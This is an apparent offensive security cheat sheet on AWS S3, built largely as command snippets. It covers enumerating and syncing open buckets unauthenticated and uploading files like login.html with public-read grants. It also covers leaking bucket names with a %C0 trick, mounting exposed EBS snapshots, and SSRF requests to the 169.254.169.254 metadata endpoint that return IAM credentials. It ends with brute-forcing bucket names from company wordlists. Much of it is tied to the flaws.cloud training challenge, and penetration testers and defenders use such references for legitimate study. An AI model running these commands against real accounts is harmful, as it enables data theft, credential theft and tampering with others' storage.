# Amazon Bucket S3 AWS ## Tools - [Pacu - The AWS exploitation framework, designed for testing the security of Amazon Web Services environments](https://github.com/RhinoSecurityLabs/pacu) ## AWS Configuration Prerequisites, at least you need awscli ```bash sudo apt install awscli ``` You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/ ```javascript aws configure AWSAccessKeyId=[ENTER HERE YOUR KEY] AWSSecretKey=[ENTER HERE YOUR KEY] ``` ```javascript aws configure --profile nameofprofile ``` then you can use *--profile nameofprofile* in the aws command. Alternatively you can use environment variables instead of creating a profile. ```bash export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56 export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU= ``` ## Open Bucket By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names ```bash http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ http://flaws.cloud.s3.amazonaws.com/ ``` Their names are also listed if the listing is enabled. ```xml adobe-REDACTED-REDACTED-REDACTED ``` Alternatively you can extract the name of inside-site s3 bucket with `%C0`. (Trick from https://twitter.com/0xmdv/status/1065581916437585920) ```xml http://example.com/resources/id%C0 eg: http://redacted/avatar/123%C0 ``` ## Basic test - Listing the files ```bash aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2 ``` You can get the region with a dig and nslookup ```bash $ dig flaws.cloud ;; ANSWER SECTION: flaws.cloud. 5 IN A 52.218.192.11 $ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` ## Move a file into the bucket ```bash aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers ``` ```bash aws s3 mv test.txt s3://hackerone.marketing FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied." aws s3 mv test.txt s3://hackerone.files SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt" ``` ## Download every things (in an open bucket) ```powershell aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2 ``` ## Check bucket disk size (authenticated) use, --no-sign for un-authenticated ```powershell aws s3 ls s3:// --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}' ``` ## AWS - Extract Backup ```powershell aws --profile flaws sts get-caller-identity "Account": "XXXX26262029", aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2 "SnapshotId": "snap-XXXX342abd1bdcb89", Create a volume using snapshot aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89 In Aws Console -> EC2 -> New Ubuntu chmod 400 YOUR_KEY.pem ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com Mount the volume lsblk sudo file -s /dev/xvda1 sudo mount /dev/xvda1 /mnt ``` ## Bucket informations Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting : ```powershell http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance ``` For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ ## Bucket Finder A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files. ```powershell wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 ./bucket_finder.rb my_words ./bucket_finder.rb --region ie my_words US Standard = http://s3.amazonaws.com Ireland = http://s3-eu-west-1.amazonaws.com Northern California = http://s3-us-west-1.amazonaws.com Singapore = http://s3-ap-southeast-1.amazonaws.com Tokyo = http://s3-ap-northeast-1.amazonaws.com ./bucket_finder.rb --download --region ie my_words ./bucket_finder.rb --log-file bucket.out my_words ``` Use a custom wordlist for the bucket finder, can be created with ```powershell List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media. List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart. ``` ## References * https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets * https://digi.ninja/projects/bucket_finder.php * [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792) * [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/) * [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud)